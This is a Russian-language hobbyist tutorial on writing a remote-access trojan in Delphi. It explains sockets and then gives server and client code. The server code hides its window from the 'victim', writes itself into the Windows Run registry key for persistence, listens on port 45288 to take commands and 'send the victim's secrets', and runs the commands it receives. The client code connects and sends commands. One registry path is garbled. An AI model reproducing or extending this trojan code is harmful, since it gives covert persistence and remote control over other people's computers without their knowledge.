[Вступление]
Привет, читатель! Это моя первая статья по кодингу, да и вообще первая хорошая статья, поэтому краткое вступление:
В сентябре 2005 года, когда я только ударился в хакинг {и ударился больно}, я взял трояна ALB и считал себя суперхакером. Но
вскоре я понял, что ХАКЕР - ЭТО НЕ ТОТ ЧЕЛОВЕК, КОТОРЫЙ ЮЗАЕТ ТРОЯН, А ТОТ, КТО ЕГО ПИШЕТ! {золотая истина!}. И вот, через
полгода я уже в состоянии написать собственного коня, этим мы и займемся.
[Теория]
Наш троян будет состоять из двух частей: клиента и сервера. Сервер - это та часть, которая будет на компьютере жертвы, она
будет открывать соединение через сокет {что такое сокет смотри ниже} и выполнять текстовые команды клиента. Клиент - это,
как ты догадался, прога, которая должна стоять у нас и управлять сервером.
[Порты и сокеты]
Существует мировой тандарт структуры протоколов связи - семиуровневая OSI (Open Systems Interface - интерфейс открытых
систем). Hа каждом из уровней этой структуры решается свой объем задач своими методами. Сокеты находятся на так назывемом
транспортном уровне - ниже находится сетевой протокол IP, выше - специализированные протоколы сеансового уровня,
ориентированные на решение конкретных задач - это всем известные FTP, SMTP, etc.
Если смотреть по сути, сокет - это модель одного конца сетевого соединения, со всеми присущими ему свойствами, и,
естественно - возможностью получать и передавать данные.
Когда говорят СОКЕТ, то часто не представляют, что это такое. Можно говорить о моделях, о реализациях и так далее. Но есть
одно простое толкование, применимое для протокола IP. Как известно для взаимодействия между машинами по протоколу IP
используются адреса и порты.
Первое на текущий момент представляют из себя 32-x битный адрес, наиболее часто его представляют в символьной форме
mmm.nnn.ppp.qqq (адрес разбитый на четыре октета по одному байту в октете и разделеный точками) . Второе - это номер порта
в диапазоне от нуля до 65535. Так вот эта пара и есть сокет (гнездо в в котором расположены адрес и порт). В процессе обмена
как правило используются два сокета - сокет отправителя и сокет получателя.
Порт - это "гавань", на которую можно пристыковаться, как сказно выше, на одном IP - 65535 портов. Все они есть в системе, но
активны только несколько. Сервер нашего трояна открывает порт, а клиент к нему стыкуется. В это время идет обмен данными.
[Практика]
Итак, приступим!
Сервер и клиент сокетов расположены на вкладке Internet и называются ServerSocket и ClientSocket. Внимание! Не перепутай:
В Delphi 7 этих компонентов стандартно нет, есть только компоненты TCPServer и TCPClient - они нам
НЕ ПОДХОДЯТ!{в данном случае}. Если у тебя Delphi 7, тебе придется вручную установить их, для этого иди в
Component>>insall Packages>>Add>>Директория_Делфи/bin/dclsockets70.bpl
[Сервер]
Кидаем на форму серверный компонент , пусть это будет ServerSocket1.
Установим свойство port равным 45288, это порт, по которому наш троян будет принимать приказы и отсылать секреты жертвы.
В разделе программы var описываем переменные:
i:string;
Теперь запрячем форму, т.к. нам совсем необязательно, чтобы жертва видела, что у нее живет троянская лошадь:
Выбираем процедуру формы (Form1) OnCreate:
Application.ShowMainForm:=false;
{Приложение.ПоказыватьГлавнуюФорму:=ложь}
ServerSocket1.Open; {Запускаем сервер}
Теперь заставим трояна прописываться в автозагрузку: (в uses добавить registry, в var - registry:TRegistry
registry:=tregistry.Create; {инициализирум реестр}
registry.RootKey:=hkey_local_machine; {выбираем ключ. Подойдет также HKEY_CURRENT_USER, но только для данного юзверя}
registry.OpenKey('softwaremicrosoftwindowscurre ntversion
un',true); {подключ}
registry.Writestring('explore',Application.ExeName ); {создаем запись}
Registry.CloseKey; {закрываем ключ}
Registry.Free; {освобождаем реестр}
Теперь наш троян не только не виден в списке приложений, но и сам запускается с запуском винды. Следующий шаг - принимаем команды от сервера:
В событии сервера OnClientRead {поступила команда от клиента} пишем:
i:=ServerSocket1.Socket.ReceiveText {пишем принятый текст в переменную, для сохранности}
{
А вот здесь я открываю место для твоей фантазии. Теперь можно делать так:
если поступила команда 'поменять кнопки мыши', меняем кнопки мыши, и т.д.
Вот как это выглядит на Делфи:
}
if i='поменять кнопки мыши' then
SwapMouseButton(true) //Обратно - swapmousebutton(false)
{Остальное здесь допишешь сам, я лишь направляю твои мысли в нужное русло}
Ты научился принимать и обрабатывать команды клиента, но иногда нужно наоборот - передать что-то клиенту, например имя пользователя. Это делается так:
Сейчас мы будем передавать версию сервера.
В той же процедуре добавляем:
if i='версия' then
ServerSocket1.Socket.Connections[0].SendText('тестовая версия');
Как видно, с помощью команды sendtext мы отправили первому клиенту сообщение "тестовая версия".
Не забудь сохранить проект.
С сервером разобрались, теперь клиент.
[Клиент]
Создаем новый проект.
//Клиент, который я использую довольно простой. Не вздумайте делать такой в заказном трояне, например!!!
В var также обьявляем переменную i стрингового типа для сбрасывания получаемой информации.
Бросаем на форму edit'ы, которые мы будем использовать: IP сервера, текст команды. Называем соответственно IP и Message;
Бросаем 4 компонента Button, называем их Connect, Disconect, Send, Exit.
Также находим ClientSocket и называем его Client.
И для полного контроля StatusBar, называем sb, сюда будут приходить ответы сервера.
Дальше обработчики событий для клиента:
{OnConnect}
sb.SimpleText:='Подключение произошло успешно';
{OnError}
sb.SimpleText:='Произошла ошибка';
{OnDisconnect}
sb.SimpleText:='Клиент отключен';
{OnConnecting}
sb.SimpleText:='Подключаюсь...';
{OnRead}
i:=Client.ReceiveText;
sb.SimpleText:=i;
Теперь обработаем событие OnClick для кнопок:
{Exit}
form1.close;
{Connect}
client.Address:=IP.text; //Передаем клиенту адрес, вписанный в Edit
client.Open; //Активация клиента
{Disconnect}
client.close;
{Send}
Client.SendText(Message.text);
sb.SimpleText:='Данные отправлены';